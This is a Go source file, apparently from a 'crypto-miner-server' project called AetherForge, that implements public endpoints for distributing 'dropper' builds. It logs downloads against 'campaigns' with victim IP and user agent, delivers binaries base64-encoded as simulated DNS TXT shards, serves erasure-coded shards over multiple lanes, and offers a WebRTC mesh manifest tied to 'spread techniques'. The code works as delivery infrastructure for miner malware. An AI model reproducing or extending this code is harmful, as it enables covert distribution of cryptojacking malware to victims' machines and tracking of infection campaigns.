Files
AetherForge/server/internal/api/public_handler.go
AetherForge 0445b7ed4f
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add erasure-coded multi-lane spread foundation.
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
2026-06-07 06:09:20 -07:00

248 lines
7.2 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"encoding/base64"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
erasureShards *erasure.ShardStore
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
// BindErasureShardStore serves ReedSolomon shard bytes for multi-lane deploy plans.
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
h.erasureShards = store
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// GET /api/v1/public/erasure-shard/{token}/{index}
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
index := 0
if indexStr != "" {
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
http.Error(w, "invalid shard index", http.StatusBadRequest)
return
}
}
data, ok := h.erasureShards.Get(token, index)
if !ok {
http.Error(w, "shard not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}